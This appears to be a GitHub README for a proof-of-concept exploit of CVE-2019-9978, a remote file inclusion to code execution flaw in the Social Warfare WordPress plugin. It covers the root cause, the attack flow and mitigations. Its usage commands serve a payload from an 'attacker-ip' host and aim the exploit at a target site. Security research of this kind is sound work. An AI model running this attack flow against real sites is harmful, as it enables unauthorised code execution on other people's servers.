vaidehim55/cve-2019-9978-rce-pocA custom Python proof-of-concept showcasing root-cause analysis and exploitation of CVE 2019-9978 (Social Warfare plugin),focusing on practical RFI to RCE attack flow.
This repository contains a Python-based Proof of Concept (PoC) demonstrating the exploitation of CVE-2019-9978, a critical vulnerability in the Social Warfare WordPress plugin.
The vulnerability allows an unauthenticated attacker to perform Remote File Inclusion (RFI), which can be escalated to Remote Code Execution (RCE)* by hosting a malicious payload on an attacker-controlled server.
This PoC was developed and tested in a controlled WordPress lab environment for educational and authorized security testing purposes only.
The Social Warfare plugin fails to properly validate and sanitize user-supplied input used for remote content inclusion.
As a result, an attacker can supply a malicious external URL, leading to unauthenticated remote file inclusion.
When the included remote file contains executable PHP code, it is executed in the context of the WordPress server, resulting in remote code execution.
Unauthenticated HTTP Request
↓
Remote File Inclusion (External URL)
↓
Malicious Payload Execution
↓
Remote Code Execution (RCE)
python3 -m http.server 8000
Place your payload file (e.g., payload-main.txt) in the server directory.
python3 exploit.py <target-site.com> http://attacker-ip:8000/payload-main.txt
Update the Social Warfare plugin to a patched version
Disable remote file inclusion:
allow_url_include = Off
Restrict external URL handling in WordPress plugins
Deploy a Web Application Firewall (WAF) with RFI detection rules
This project is intended strictly for educational purposes and authorized security testing only.
Do NOT use this Proof of Concept against systems without explicit permission. The author is not responsible for any misuse or damage caused by this tool.